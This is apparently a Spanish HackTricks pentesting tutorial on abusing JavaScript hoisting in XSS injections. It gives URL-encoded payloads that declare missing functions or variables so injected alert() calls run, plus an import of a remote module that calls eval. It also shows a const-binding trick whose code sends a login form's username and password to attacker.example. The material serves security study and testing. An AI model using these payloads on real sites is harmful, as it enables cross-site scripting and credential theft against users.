JS Hoisting

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

En el lenguaje JavaScript, existe un mecanismo conocido como Hoisting en el que las declaraciones de variables, funciones, clases o imports se trasladan conceptualmente al inicio de su ámbito antes de que se ejecute el código. Este proceso lo realiza automáticamente el motor de JavaScript, que recorre el script en varias pasadas.

Durante la primera pasada, el motor analiza el código para comprobar errores de sintaxis y lo transforma en un árbol de sintaxis abstracta. Esta fase incluye el hoisting, un proceso en el que ciertas declaraciones se mueven al inicio del contexto de ejecución. Si la fase de parsing finaliza correctamente, indicando que no hay errores de sintaxis, se procede a la ejecución del script.

Es crucial entender que:

  1. El script debe estar libre de errores de sintaxis para que se produzca la ejecución. Se deben respetar estrictamente las reglas de sintaxis.
  2. La ubicación del código dentro del script afecta la ejecución debido al hoisting, aunque el código ejecutado puede diferir de su representación textual.

Tipos de Hoisting

Según la información de MDN, hay cuatro tipos distintos de hoisting en JavaScript:

  1. Value Hoisting: Permite usar el valor de una variable dentro de su ámbito antes de la línea donde se declara.
  2. Declaration Hoisting: Permite referenciar una variable dentro de su ámbito antes de su declaración sin provocar un ReferenceError, pero el valor de la variable será undefined.
  3. Este tipo altera el comportamiento dentro de su ámbito debido a la declaración de la variable antes de su línea de declaración real.
  4. Los efectos secundarios de la declaración ocurren antes de que se evalúe el resto del código que la contiene.

En detalle, las declaraciones de funciones exhiben el comportamiento de hoisting de tipo 1. La palabra clave var demuestra el comportamiento de tipo 2. Las declaraciones léxicas, que incluyen let, const y class, muestran el comportamiento de tipo 3. Por último, las sentencias import son únicas en que se aplican tanto el comportamiento de tipo 1 como el de tipo 4.

Escenarios

Por lo tanto, si tienes escenarios en los que puedes Inject JS code after an undeclared object se utiliza, podrías fix the syntax declarándolo (para que tu código se ejecute en lugar de lanzarse un error):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]

Más escenarios

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()

Hoisting para evitar el manejo de excepciones

Cuando el sink está envuelto en try { x.y(...) } catch { ... }, ReferenceError detendrá la ejecución antes de que tu payload se ejecute. Puedes pre-declarar el identificador faltante para que la llamada sobreviva y tu expresión inyectada se ejecute primero:

// Original sink (x and y are undefined, but you control INJECT)
x.y(1,INJECT)

// Payload (ch4n3 2023) – hoist x so the call is parsed; use the first argument position for code exec
prompt()) ; function x(){} //

function x(){} se eleva (hoisted) antes de la evaluación, por lo que el parser ya no lanza error en x.y(...); prompt() se ejecuta antes de que y se resuelva, luego se lanza un TypeError después de que tu código se haya ejecutado.

Anticipa declaraciones posteriores bloqueando un nombre con const

Si puedes ejecutar antes de que se parsee un function foo(){...} a nivel superior, declarar una vinculación léxica con el mismo nombre (p. ej., const foo = ...) impedirá que la posterior declaración de función vuelva a enlazar ese identificador. Esto puede abusarse en RXSS para secuestrar manejadores críticos definidos más adelante en la página:

// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding

Notas

  • Esto depende del orden de ejecución y del ámbito global (nivel superior).
  • Si tu payload se ejecuta dentro de eval(), recuerda que const/let dentro de eval tienen alcance de bloque y no crearán enlaces globales. Inyecta un nuevo elemento <script> con el código para establecer un verdadero const global.

import() dinámico con especificadores controlados por el usuario

Las aplicaciones renderizadas del lado del servidor a veces reenvían la entrada del usuario a import() para cargar componentes de forma diferida. Si existe un loader como import-in-the-middle, se generan módulos wrapper a partir del especificador. La evaluación hoisted de import obtiene y ejecuta el módulo controlado por el atacante antes de que se ejecuten las líneas siguientes, lo que permite RCE en contextos SSR (ver CVE-2023-38704).

Herramientas

Los escáneres modernos empezaron a añadir payloads de hoisting explícitos. KNOXSS v3.6.5 lista los casos de prueba “JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting” y “Hoisting Override”; ejecutarlo contra contextos RXSS que lanzan ReferenceError/TypeError revela rápidamente candidatos a gadgets basados en hoist.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks